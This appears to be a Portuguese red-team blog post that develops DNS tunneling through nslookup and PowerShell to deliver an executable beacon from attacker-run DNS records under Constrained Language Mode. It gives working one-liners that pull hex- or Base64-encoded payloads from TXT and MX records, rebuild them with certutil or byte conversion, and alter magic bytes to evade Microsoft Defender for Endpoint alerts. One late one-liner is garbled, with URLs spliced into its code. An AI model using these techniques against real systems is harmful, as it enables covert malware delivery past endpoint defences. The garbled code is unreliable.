
Ferramenta de tunelamento DNS usando PowerShell e Nslookup para exfiltrar dados e entregar payloads via registros DNS TXT/MX, contornando o Constrained Language Mode e defesas de endpoint.
Inspirado pelo trabalho recente que realizei envolvendo beacons DNS do Cobalt Strike, em conjunto com uma declaração de missão para tentar evadir o Microsoft Defender for Endpoint, passei algum tempo investigando como o DNS poderia ser usado para transferir um payload para uma máquina alvo. Além disso, quis me desafiar tentando fazer isso de uma forma que seja possível mesmo quando o PowerShell está no Modo de Linguagem Restrita (Constrained Language Mode). Esta pesquisa teve como alvo implementações mais modernas do Windows (ou seja, Win10+, Server 2019+), mas como você verá mais adiante, pode ser possível em versões inferiores.
O tunelamento DNS é uma técnica que existe há muito tempo e é usada por diversos atacantes. Em um nível básico, envolve o uso do protocolo DNS como meio de infiltração/exfiltração de dados ou como um canal de comunicação C2. Existem muitas postagens em blogs que você pode consultar para obter mais informações sobre este tópico.
Por ser uma técnica tão antiga e conhecida, muitas organizações possuem métodos de detecção implementados para tentar preveni-la.
O tipo de registro DNS de escolha para tunelamento DNS tem sido historicamente o TXT. Isso porque os registros TXT podem conter mais dados do que outros registros e também são sensíveis a maiúsculas/minúsculas (case-sensitive), algo que os outros registros não são, o que pode ter impacto quando começamos a falar sobre codificação.
O Modo de Linguagem Restrita (Constrained Language Mode, CLM) é um modo de linguagem restritivo para o PowerShell que reduz bastante as capacidades e a funcionalidade permitida do PowerShell. Como uma breve lista, .NET, objetos COM e os favoritos dos atacantes como (new-object net.webclient).downloadstring... estão indisponíveis. Este link fornece mais informações. As organizações colocam essa política em vigor para usuários normais como parte das regras de redução da superfície de ataque. Na prática, isso apenas torna nossa vida mais difícil como atacantes.
A maioria deve estar pelo menos superficialmente familiarizada com o DNS pelo uso de ferramentas como Nslookup. Mas em um nível básico, o cliente envia uma consulta e o servidor DNS retorna uma resposta para essa consulta. Existem vários tipos diferentes de registros DNS: CNAME, A, AAAA, TXT, MX e NS, apenas para citar alguns. Cada um desses registros pode armazenar e retornar informações diferentes. Esses registros são configurados em um arquivo de zona (Zonefile), que é servido por um servidor DNS.
Um exemplo de arquivo de zona é mostrado aqui:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
Se alguém consultar registros NS para example.com, a consulta retornaria ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net e ns4.p30.dynect.net.
# Pesquisa
## Registro de nome de domínio
Antes de começarmos, precisamos falar brevemente sobre a configuração de registros DNS para apontar para um IP que controlamos e onde executaremos um servidor DNS. Conforme mostrado abaixo, comprei um domínio e configurei registros DNS que apontam o subdomínio "dns" para o subdomínio "ns1", ao qual é atribuído o IP público do servidor.

Isso significa que quaisquer consultas feitas para "dns.edu....com" serão direcionadas para "ns1.edu....com", que possui o IP 3..86. Nesse IP, configuraremos um servidor DNS para servir nossos registros. Isso será retomado mais tarde.
## Encontrando uma ferramenta do lado do cliente
Minha busca começou com uma simples pesquisa no Google por "powershell dns module", que retornou [este](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) link. De particular interesse foi o comando Resolve-DnsName. Parece ser basicamente uma implementação PowerShell do conhecido binário Nslookup.exe. Observe que tipos específicos de registros podem ser solicitados:

Ok, então temos um módulo PowerShell capaz de fazer consultas DNS e recuperar a resposta. Funciona no Modo de Linguagem Restrita (Constrained Language Mode - CLM)? A resposta é: mais ou menos.
Como você pode ver aqui, se eu abrir uma nova janela do PowerShell, executar Resolve-DnsName, colocar o PowerShell em CLM (e testar com a simples chamada ::WriteLine) e depois executar Resolve-DnsName novamente, funciona sem problemas:

No entanto, se eu abrir uma nova janela do PowerShell e imediatamente colocá-la em CLM e depois tentar executar Resolve-DnsName, ele falha:

Parece que, se um módulo foi carregado anteriormente, ele consegue ser executado após a aplicação do CLM; no entanto, o CLM impede seu carregamento se ele ainda não tiver sido carregado. Pensando adiante em um ambiente alvo onde o CLM é aplicado por padrão para os usuários (e sem saber se determinados módulos estão pré-carregados ou se o DnsClient está entre eles), optei neste momento por deixar o Resolve-DnsName de lado e recorrer ao bom e velho Nslookup.exe.

O Nslookup.exe é um item essencial do kit de ferramentas de TI e um binário muito conhecido, utilizado para fins legítimos. As probabilidades estão a nosso favor de que ele seja permitido para execução mesmo em ambientes onde a lista de permissões de aplicativos é uma preocupação.
O Nslookup retornará basicamente as mesmas informações que nossa consulta Resolve-DnsName; só teremos que manipulá-lo de forma um pouco diferente quando chegar a hora.
## Transformando um executável em registros DNS?
Ok, então temos uma maneira de fazer consultas DNS no computador da vítima. Como podemos fornecer nosso payload em um formato que o Nslookup consiga recuperar?
Executáveis são, obviamente, arquivos binários, o que significa que não são legíveis por humanos. Como resultado, os dados devem ser transformados em algo que possamos colocar em registros DNS e que uma ferramenta como o Nslookup consiga recuperar. Existem várias opções de codificação disponíveis para nós, mas a principal consideração é: o que a máquina da vítima consegue decodificar usando apenas ferramentas e capacidades nativas do Windows disponíveis no CLM? Base64 é a resposta óbvia e frequentemente escolhida.
Usando Base64, transformamos nosso executável em uma string gigante legível por humanos, que pode então ser dividida em muitos registros DNS e recuperada usando Nslookup. No lado do cliente, o conhecido LOLBAS certutil.exe pode ser usado para decodificar o agregado de registros DNS de Base64 de volta ao formato binário.
Isso exige que falemos um pouco mais sobre os tipos de registros DNS. Cada tipo de registro armazena certas informações em um formato específico. Registros A, por exemplo, armazenam e retornam um endereço IPV4 (111.111.111.111). Registros AAAA retornam um endereço IPV6, registros MX e NS retornam nomes de domínio, e registros TXT podem retornar strings de até 255 caracteres. Como mencionado anteriormente, devido ao comprimento do registro e à sensibilidade a maiúsculas/minúsculas, os registros TXT têm sido a escolha óbvia para atacantes, pois são necessários menos registros e são compatíveis com codificações como Base64.
Vamos ver como isso se parece.
Na nossa VM Kali, podemos pegar nosso executável e codificá-lo em Base64. Observe o uso da opção -w 0, que removerá todas as quebras de linha, deixando-nos com uma única linha de texto Base64:

Olhando para o arquivo, vemos o Base64:

Agora precisamos transformar esse arquivo codificado em Base64 em registros DNS TXT que serão servidos pelo nosso servidor DNS.
Há algumas coisas que aprendi durante isso e que resumirei rapidamente aqui antes de continuar:
**1.** Quando vários registros são retornados para uma única consulta DNS, não há garantia de que eles serão retornados "em ordem". Isso é crítico para nossos propósitos, pois precisamos remontar um arquivo a partir de todos os registros TXT e, se estiverem fora de ordem, não funcionará.
**2.** Registros duplicados não são retornados para uma consulta. Por exemplo, em nosso arquivo de zona, se tivéssemos 3 registros TXT e 2 deles contivessem a mesma informação, ao consultarmos registros TXT para esse domínio, apenas 2 registros seriam retornados, pois apenas os registros únicos são retornados. O problema de fora de ordem à parte, se tivéssemos, por exemplo, grandes seções de "AAAAA" (como temos no payload codificado em Base64) que precisássemos preencher vários registros TXT, ao consultar nosso domínio por registros TXT, apenas um dos registros TXT preenchidos com "A" retornaria, mesmo que houvesse vários deles no arquivo de zona.
Com esses pontos em mente, devemos garantir que apenas um único registro TXT seja retornado para cada consulta DNS. Entram os subdomínios. Assim como registramos "dns.edu...com" como um subdomínio de "edu....com", podemos fornecer registros para subdomínios adicionais (ex.: 1.dns.edu....com). Podemos criar quantos subdomínios forem necessários para servir todos os nossos registros TXT.
Vamos olhar para nosso payload codificado em Base64:

Como mencionado anteriormente, podemos colocar 255 caracteres em cada registro TXT. Dividindo 413.696/255, obtemos 1.623 após arredondar para cima. Isso é um monte de registros TXT (e, por consequência, muitos subdomínios). No entanto, é um ponto de partida.
Escrevi um script Python3 para ingerir o payload codificado em Base64 e criar um arquivo de zona:

Este script abrirá nosso payload codificado em Base64 (comp.txt) e usará a função "chunkstring" (cortesia de uma postagem no Stack Overflow) para dividir o arquivo em blocos de 255 caracteres, com os quais criaremos registros TXT. Observe que os IPs aqui são falsos/aleatórios e desnecessários.
Olhando para o arquivo de zona produzido, vemos nossos registros TXT:

Observe o número no lado esquerdo de cada registro TXT; isso denota o subdomínio.
Agora que nosso arquivo de zona foi criado, precisamos copiá-lo para nosso servidor DNS e então servi-lo. Usei o [CoreDNS](https://github.com/coredns/coredns) para isso:

Isso mostra que estou aceitando consultas para dns.edu....com na porta 53. No Corefile, especifiquei o arquivo de zona criado na etapa anterior para servir registros. Para testar se nossos registros funcionam, executaremos nslookup para registros TXT pertencentes a 1.dns.edu....com:

Lá está nosso registro TXT!
## Ataque!
Agora precisamos executar nslookup... 1623 vezes. Menos que o ideal, mas é o que faremos por enquanto. Usaremos este one-liner do PowerShell para executar nslookup para cada subdomínio e, em seguida, selecionar apenas o registro TXT ($temp[5]) e construir $results conforme avançamos. $results é então escrito em ./temp.txt e, finalmente, certutil é usado para decodificar temp.txt para custombeacon.exe.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
Ao executarmos nosso comando, vemos todas as consultas DNS em nosso servidor CoreDNS:

E em nosso cliente vemos que o comando Certutil foi bem-sucedido:

Nosso Tamanho de Saída corresponde ao do nosso EXE original (e ele é executado) – excelente!

No entanto, temos um problema. Vamos olhar o painel MDE da nossa máquina do laboratório de avaliação:

Há 5 alertas aqui que precisamos tratar (ignore os dois primeiros "Uso suspeito de certutil.exe para decodificar um executável", pois são duplicatas da execução dessa mesma cadeia de ataque duas vezes durante o teste).
1. Descoberta Suspeita de Configuração de Rede do Sistema – Isso diz respeito ao uso do cmdlet 'Resolve-DnsName' (este teste foi realizado antes da mudança para o Nslookup por razões distintas)

2. Ferramenta ou atividade de ataque DNS – Isso diz respeito ao uso de registros TXT para infiltrar nossos dados

3. / 4. / 5. – Uso suspeito de certutil.exe para decodificar um executável / Uso de binário living-off-the-land para executar código malicioso

Vamos descartar este alerta porque vamos mudar para o Nslookup. Veremos se continua sendo um problema. Não sei, mas suspeito que esse tipo de alerta possa ser ignorado por muitas organizações devido à sua baixa prioridade e à natureza aparentemente muito fácil de disparar.
Este alerta novamente relacionado ao uso de registros TXT para contrabandear nosso payload; isso não é tão surpreendente, pois os registros TXT há muito são os favoritos para esse tipo de atividade por boas razões. A solução aqui parece ser tentar usar um tipo de registro alternativo, algo que exploraremos em conjunto com o que se segue no próximo alerta.
Também não é tão surpreendente que o certutil tenha sido sinalizado ao decodificar nosso payload; é um truque antigo que qualquer organização respeitável deve alertar. No entanto, o alerta é curiosamente específico; ele destaca que foi usado para decodificar um executável. Isso me levou a perguntar o que aconteceria se eu mexesse no magic bytes do nosso payload antes de codificá-lo em Base64, e depois novamente no lado do cliente após usar o certutil para decodificá-lo. Não mostrarei aqui, mas isso de fato contornou esse alerta e consegui usar o certutil para decodificar um payload Base64 e depois alterar os magic bytes de volta para MZ para que o payload se tornasse executável, tudo usando funcionalidade nativa do PowerShell.
Decidi tentar usar registros MX em vez de registros TXT para contrabandear o payload. Este post de blog observa que o comprimento máximo de um nome DNS válido é de 255 caracteres``` (63 letters).(63 letters).(63 letters).(62 letters)
Como os registros MX retornam um nome de domínio, devo ser capaz de colocar bastante dados em cada octeto. Após alguns testes, decidi encurtar um pouco cada registro e colocar apenas 50 caracteres em cada octeto, totalizando 200 por registro MX.
No entanto, há um problema. Quando se trata de registros DNS, apenas os registros TXT e SPF (um tipo de registro TXT) diferenciam maiúsculas de minúsculas. Nossa linguagem de codificação, Base64, diferencia maiúsculas de minúsculas. Passei algumas horas solucionando esse problema até descobrir, mas no final, se vamos usar Base64, não podemos usar registros MX, pois nosso Nslookup sempre retornará os registros em letras minúsculas, o que quebra nossa codificação.
Somos forçados a encontrar outro tipo de registro que diferencie maiúsculas de minúsculas e seja compatível com Base64, ou devemos encontrar uma linguagem de codificação diferente que o Windows/PowerShell no CLM seja nativamente capaz de decodificar.
Após alguma [pesquisa](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin), descobri que o PowerShell é capaz de converter hex em binário sem usar .NET:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw
# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)
Com uma pequena modificação no que foi dito acima (alterar [System.IO.File]... para $bytes | set-content....) isso deve funcionar para nossos propósitos.
Os registros MX também possuem um valor de "preferência"; isso é essencialmente uma ordem de prioridade para determinar qual servidor MX deve ser usado para um domínio. Isso pode ser visto no exemplo anterior de um arquivo de zona como os valores "10, 20 e 30" que precedem os nomes de domínio nos registros MX. Podemos usar esse valor de preferência a nosso favor, incluindo vários registros MX por subdomínio e garantindo que nossos dados estejam na ordem correta, classificando pelo valor de preferência. Isso nos permitirá reduzir drasticamente o número de vezes que chamamos o Nslookup em comparação com quando obtivemos um único registro por subdomínio com registros TXT.

Como mostrado acima, os registros podem ser retornados fora de ordem, mas com o valor de preferência podemos reordená-los.
Para implementar tudo isso, primeiro escrevi um pequeno script em Python3 para converter nosso payload em hex:


Depois modifiquei o script original em Python3 para criar um arquivo de zona com registros MX em vez de registros TXT:

As principais diferenças são que agora estamos dividindo em blocos de 200 caracteres por vez e alocando 100 registros MX por subdomínio; Isso está sendo rastreado pela variável j, onde j no registro MX é o valor de preferência. Começa em 10 para o primeiro registro e incrementa em 10 até 1000. Quando j atinge 1010, ele é redefinido para 10 e i é incrementado em um, onde a variável i é o subdomínio especificado em cada registro MX.
Este script produz um arquivo de zona como o seguinte (final do arquivo de zona mostrado):

Aqui são mostrados dois subdomínios (31.dns.edu....com e 32.dns.edu....com) e vários registros para cada um. Os registros podem ser diferenciados pelo valor de preferência após cada MX (31.dns.edu....com: 960, 970, 980, 990, 1000 32.dns.edu....com: 10, 20, 30)
Teremos que modificar bastante nosso comando do PowerShell para acomodar esse novo formato. Mostrei o script no PowerShell ISE com comentários para explicar melhor o que está acontecendo em cada etapa, mas, na prática, vamos:
-1. Para cada subdomínio
--A Executar Nslookup
--B Para cada registro MX retornado pelo Nslookup
---a. Extrair apenas nossos dados e armazená-los em um array em ordem (classificados pelo valor de preferência MX)
--C Anexar cada string de dados à nossa string cumulativa $results

Em seguida, precisamos pegar $results e converter o hex de volta para binário antes de escrevê-lo no disco. É aqui que vamos usar o PowerShell mostrado anteriormente.
Em uma única linha, obtemos o seguinte:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe
## Segunda tentativa
Vamos executar nosso comando PowerShell em uma máquina de teste do laboratório MDE e ver o que acontece (estamos no CLM, apenas não mostrado):

Executando nosso beacon (mais mágica aconteceu no backend aqui para usar beacons DNS)

Recebemos um alerta para o comportamento "SuspiciousFileDrop", mas ele foi resolvido com "Nenhuma ameaça encontrada"... mais a explorar. Mas todos os alertas relacionados a registros TXT ou Certutil para decodificar um executável se foram.

## Apenas um passo para a esquerda...
O MDE não gostou que o PowerShell escreveu nosso payload no disco. É compreensível; no fim das contas, o Nslookup puxou um executável desconhecido da internet e o salvou no disco. Como podemos mitigar isso?
Decidi revisitar os bytes mágicos do payload. Minha teoria de trabalho era que se eu mudasse os bytes mágicos do payload para os de, digamos, um arquivo .txt e escrevesse isso no disco, depois lesse esse arquivo em uma nova variável e mudasse os bytes mágicos de volta para MZ (executável) e então escrevesse de volta no disco, eu poderia enganar o MDE porque a operação de I/O que leva o executável funcional a pousar no disco agora se origina de um arquivo .txt que já existia no disco, em vez de dados puxados da internet.
Vamos tentar.
Podemos usar o VIM para abrir nosso executável na nossa máquina de ataque. Observe o cabeçalho MZ nos dois primeiros bytes que declara que isso é um executável:

Ao digitar :%!xxd podemos editar o arquivo em formato hexadecimal:

e alterar os dois primeiros bytes para FF FE (marca de ordem de byte UTF-16LE, comumente vista em arquivos de texto conforme https://en.wikipedia.org/wiki/List_of_file_signatures):

Agora devemos fechar o editor hexadecimal digitando :%!xxd -r, o que mostrará que nossos bytes mágicos foram de fato substituídos:

Podemos então salvar e sair do VIM.
Vamos novamente converter nosso payload para hexadecimal e então usar o script python3 para colocar o payload alterado em registros MX que podem ser servidos em nosso servidor DNS.
No lado do cliente, precisaremos modificar nosso comando PowerShell para corrigir os bytes mágicos e tornar nosso executável funcional novamente. Como mencionado, em um esforço para evadir o alerta SuspiciousFileDrop do MDE, primeiro escreveremos nosso arquivo 'txt' no disco e depois o puxaremos de volta para a memória usando get-content. A modificação relevante e o adendo ao nosso comando PowerShell são:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte
Neste comando, primeiro escrevemos nosso payload baixado (com bytes mágicos .txt) no disco como out.txt, depois o lemos em um array de bytes $readfile, após o qual o primeiro e o segundo bytes são definidos como 0x4D e 0x5A, respectivamente, restaurando o cabeçalho MZ ao nosso payload. Em seguida, $readfile é canalizado para set-content para escrever nosso payload funcional no disco como new.exe.
Vamos testar isso em nossa VM MDE (observe que o comando parece um pouco diferente, isso será abordado na próxima seção):

E no painel?

Sucesso!
Baixamos e restauramos com sucesso nosso payload para o formato funcional através de requisições DNS e comandos powershell disponíveis no Modo de Linguagem Restrita. O MDE não emitiu alertas sobre nada, mas o que o MDE realmente vê? A resposta é tudo.
Vamos dar uma olhada na linha do tempo de eventos da nossa máquina de teste, filtrando por eventos envolvendo powershell:

Nesta imagem vemos algumas das chamadas nslookup.exe feitas pelo powershell, cada uma resultando em um evento "T1016: System Network Configuration Discovery". Além disso, vemos "powershell.exe dropped a packed file new.exe", que se refere ao nosso executável agora funcional sendo gravado de volta no disco após os bytes mágicos terem sido alterados. Isso aciona alguns IDs de evento, sendo "T1027.002: Software Packing" o notável.
Ao filtrar esses eventos, podemos ver o quão comum ou incomum é cada um e quão provável é que nossas ações se misturem com o ruído das ações normais do computador.
Observando T1016:

Vemos todos os nossos nslookup's, mas também vemos outros eventos gerados por processos como WaAppAgent.exe e WindowsAzureGuestAgent.exe. Esses, por sua vez, executaram coisas como ipconfig.exe e arp.exe. Portanto, vários executáveis diferentes podem acionar T1016: System Network Configuration Discovery, o que é bom para nós tentando passar despercebidos.
Observando T1027:

As notícias não são tão boas aqui. O único evento para T1027.002: File Packing é o nosso powershell.exe soltando nosso payload no disco. Não tenho certeza absoluta do porquê esse evento dispara para nossa ação, mas não estou convencido de que tenha algo a ver com o método de infiltração DNS e sim com a gravação de um executável no disco. De qualquer forma, isso não gerou um alerta real, é apenas um evento registrado.
Quantos eventos registrados existem e quão bem categorizada está a funcionalidade normal do computador? As respostas são "muitos" e "não muito". Ao rolar para encontrar os eventos do powershell, me deparei com isso:

Isso certamente parece suspeito... o que está acontecendo?

Ah. É apenas o Windows Defender ATP executando comandos powershell.
O número de eventos registrados pelo MDE é impressionante. Contanto que não nos deparemos com um alerta real, não estou muito preocupado com nossas ações registradas serem descobertas durante efeitos ativos, a menos que demos aos defensores motivos para procurar.
Temos um POC funcional, mas agora é hora de refinar o produto. Eu tinha três objetivos principais aqui:
Automação
Confiabilidade
Eficiência
Comecei combinando os scripts python que transformaram nosso executável em hex e depois criaram um zonefile. Em seguida, removi todas as referências estáticas aos nomes de domínio que preencherão o zonefile; estes agora são passados via argumentos de linha de comando. Terceiro, adicionei funcionalidade para fazer uma cópia do nosso payload e modificar os bytes mágicos; essa cópia modificada é o que se torna registros MX dentro do nosso zonefile, eliminando a necessidade de VIM. Finalmente, o script python imprime o one-liner powershell com o número correto de iterações para executar nslookup (dependente do comprimento do payload) e o domínio para executar nslookup. Este script python foi enviado como "createzonefile.py".

Para aumentar a confiabilidade do ataque, passei algum tempo trabalhando em como o script python cria registros MX. O principal ponto problemático era o último registro MX; este contém o restante do payload, pois todos os outros registros são preenchidos com 200 caracteres. Dependendo de quantos dados restam para este registro, podemos acabar com um, dois, três ou quatro octetos parcial ou completamente preenchidos. Descobri que o nslookup não traria registros se houvesse muitos "." à direita, como era o caso do nosso script python simples anterior se menos de quatro octetos estivessem sendo usados pelo último registro MX (por exemplo, o registro poderia ser "0000000000000000000000.000000.."). Nova lógica foi implementada e testada para garantir que, independentemente do tamanho do payload ou da quantidade de dados no último registro MX, ele seria formatado adequadamente e funcionaria conforme esperado.
A implementação do one-liner powershell no script python é outro passo em direção à confiabilidade, pois garante que você receba o número correto de iterações do nslookup, bem como o mesmo nome de domínio especificado no zonefile.
Este último ponto gira principalmente em torno do one-liner powershell. Queria tentar reduzir o comprimento do comando tanto quanto possível caso seja necessário digitá-lo manualmente em uma máquina alvo. Antes de considerar o script adicional para substituir os bytes mágicos, consegui reduzi-lo em cerca de 30%.
Essas economias vêm de alguns lugares:

Tenho certeza de que há mais que poderia ser feito, mas estou longe de ser proficiente em powershell.
O one-liner powershell final e melhorado que restaura os bytes mágicos MZ e exclui o arquivo .txt temporário é:
$o=@();$a=0;1..19|%{$o+=nslookup -type=mx ("$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))").substring(0,16)+"."+$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))$([char](https://github.com/octoberfest7/dns_tunneling/blob/HEAD/97..122%7Crandom))".substring(0,2)+"ab");$a++};$o|%{$b=$_ -split '\s+';$c+=$b[-2]};$c=$c.Replace('.','');$readfile=[System.IO.File]::ReadAllBytes("c:\temp\out.txt");$readfile[0]=0x4D;$readfile[1]=0x5A;sc c:\temp\new.exe -Value $readfile -Encoding Byte;ri c:\temp\out.txt -Force
``````powershell
$o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<=\=\s)((\d|\w){1,50}\.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
Usar DNS para infiltrar um payload pode ser uma opção atraente em ambientes altamente restritivos, onde métodos normais envolvendo HTTP/S e/ou métodos mais convencionais podem não ser viáveis. Nesse ambiente, o próximo obstáculo provavelmente será executar o payload de fato — contornar a Lista de Permissões de Aplicativos (Application Whitelisting) é um tópico que provavelmente dedicarei algum tempo para explorar no futuro.
Agradeço àqueles que me acompanharam até o final. Foram alguns dias intensos enquanto explorava e desenvolvia este tópico, e certamente aprendi algumas coisas, assim como espero que vocês também tenham aprendido.